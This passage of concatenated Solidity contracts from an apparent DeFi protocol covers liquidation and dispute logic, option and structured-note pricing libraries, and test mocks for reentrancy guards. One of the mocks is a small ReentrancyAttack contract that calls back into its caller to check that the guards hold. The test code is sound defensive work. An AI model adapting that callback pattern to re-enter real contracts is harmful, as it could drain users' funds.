maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: tokensLiquidated,
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
tokensLiquidated.rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
* and pay a fixed final fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePriceLiquidation(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disdputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator can receive payment.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: `payToLiquidator` should never be below zero since we enforce that
// (sponsorDisputePct+disputerDisputePct) <= 1 in the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/**
* @notice Accessor method to calculate a transformed collateral requirement using the finanical product library
specified during contract deployment. If no library was provided then no modification to the collateral requirement is done.
* @param price input price used as an input to transform the collateral requirement.
* @return transformedCollateralRequirement collateral requirement with transformation applied to it.
* @dev This method should never revert.
*/
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformCollateralRequirement(price);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePriceLiquidation(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio. The Transform
// Collateral requirement method applies a from the financial Product library to change the scaled the collateral
// requirement based on the settlement price. If no library was specified when deploying the emp then this makes no change.
FixedPoint.Unsigned memory requiredCollateral =
tokenRedemptionValue.mul(_transformCollateralRequirement(liquidation.settlementPrice));
// If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized,
"Invalid liquidation ID"
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)),
"Liquidation not withdrawable"
);
}
function _transformCollateralRequirement(FixedPoint.Unsigned memory price)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Structured Note Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out that 1 WETH if, at expiry, ETHUSD is below a set strike. If
* ETHUSD is above that strike, the contract pays out a given dollar amount of ETH.
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH
* If ETHUSD < $400 at expiry, token is redeemed for 1 ETH.
* If ETHUSD >= $400 at expiry, token is redeemed for $400 worth of ETH, as determined by the DVM.
*/
contract StructuredNoteFinancialProductLibrary is FinancialProductLibrary, Ownable, Lockable {
mapping(address => FixedPoint.Unsigned) financialProductStrikes;
/**
* @notice Enables the deployer of the library to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the structured note to be applied to the financial product.
* @dev Note: a) Only the owner (deployer) of this library can set new strike prices b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) financialProduct must exposes an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
onlyOwner
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the structured note payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThan(strike)) {
return FixedPoint.fromUnscaledUint(1);
} else {
// Token expires to be worth strike $ worth of collateral.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 400/500 = 0.8 WETH.
return strike.div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the structured note payout structure. If the price
* of the structured note is greater than the strike then the collateral requirement scales down accordingly.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If the price is less than the strike than the original collateral requirement is used.
if (oraclePrice.isLessThan(strike)) {
return collateralRequirement;
} else {
// If the price is more than the strike then the collateral requirement is scaled by the strike. For example
// a strike of $400 and a CR of 1.2 would yield:
// ETHUSD = $350, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $400, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $425, payout is 0.941 WETH (worth $400). CR is multiplied by 0.941. resulting CR = 1.1292
// ETHUSD = $500, payout is 0.8 WETH (worth $400). CR multiplied by 0.8. resulting CR = 0.96
return collateralRequirement.mul(strike.div(oraclePrice));
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Pre-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made before expiration then a transformation is made to the identifier
* & if it is at or after expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PreExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is pre expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is pre-expiration and no transformation if post.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is before contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return financialProductTransformedIdentifiers[msg.sender];
} else {
return identifier;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Post-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made at or after expiration then a transformation is made to the identifier
* & if it is before expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PostExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is post expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is post-expiration and no transformation if pre.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is after contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return identifier;
} else {
return financialProductTransformedIdentifiers[msg.sender];
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title KPI Options Financial Product Library
* @notice Adds custom tranformation logic to modify the price and collateral requirement behavior of the expiring multi party contract.
* If a price request is made pre-expiry, the price should always be set to 2 and the collateral requirement should be set to 1.
* Post-expiry, the collateral requirement is left as 1 and the price is left unchanged.
*/
contract KpiOptionsFinancialProductLibrary is FinancialProductLibrary, Lockable {
/**
* @notice Returns a transformed price for pre-expiry price requests.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
// If price request is made before expiry, return 2. Thus we can keep the contract 100% collateralized with
// each token backed 1:2 by collateral currency. Post-expiry, leave unchanged.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(2);
} else {
return oraclePrice;
}
}
/**
* @notice Returns a transformed collateral requirement that is set to be equivalent to 2 tokens pre-expiry.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled to a flat rate.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Always return 1.
return FixedPoint.fromUnscaledUint(1);
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title CoveredCall Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out a portion of that, at expiry, if ETHUSD is above a set strike. If
* ETHUSD is below that strike, the contract pays out 0. The fraction paid out if above the strike is defined by
* (oraclePrice - strikePrice) / oraclePrice;
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH.
* If ETHUSD = $600 at expiry, the call is $200 in the money, and the contract pays out 0.333 WETH (worth $200).
* If ETHUSD = $800 at expiry, the call is $400 in the money, and the contract pays out 0.5 WETH (worth $400).
* If ETHUSD =< $400 at expiry, the call is out of the money, and the contract pays out 0 WETH.
*/
contract CoveredCallFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => FixedPoint.Unsigned) private financialProductStrikes;
/**
* @notice Enables any address to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the covered call to be applied to the financial product.
* @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool.
* e) financialProduct must expose an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the call option payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThanOrEqual(strike)) {
return FixedPoint.fromUnscaledUint(0);
} else {
// Token expires to be worth the fraction of a collateral token that's in the money.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 100/500 = 0.2 WETH (worth $100).
// Note: oraclePrice cannot be 0 here because it would always satisfy the if above because 0 <= x is always
// true.
return (oraclePrice.sub(strike)).div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the covered call payout structure.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// Always return 1 because option must be collateralized by 1 token.
return FixedPoint.fromUnscaledUint(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Lockable.sol";
import "./ReentrancyAttack.sol";
// Tests reentrancy guards defined in Lockable.sol.
// Extends https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyMock.sol.
contract ReentrancyMock is Lockable {
uint256 public counter;
constructor() public {
counter = 0;
}
function callback() external nonReentrant {
_count();
}
function countAndSend(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("callback()"));
attacker.callSender(func);
}
function countAndCall(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("getCount()"));
attacker.callSender(func);
}
function countLocalRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
countLocalRecursive(n - 1);
}
}
function countThisRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1));
require(success, "ReentrancyMock: failed call");
}
}
function countLocalCall() public nonReentrant {
getCount();
}
function countThisCall() public nonReentrant {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("getCount()"));
require(success, "ReentrancyMock: failed call");
}
function getCount() public view nonReentrantView returns (uint256) {
return counter;
}
function _count() private {
counter += 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
// Tests reentrancy guards defined in Lockable.sol.
// Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyAttack.sol.
contract ReentrancyAttack {
function callSender(bytes4 data) public {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = msg.sender.call(abi.encodeWithSelector(data));
require(success, "ReentrancyAttack: failed call");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../common/FeePayer.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/implementation/ContractCreator.sol";
/**
* @title Token Deposit Box
* @notice This is a minimal example of a financial template that depends on price requests from the DVM.
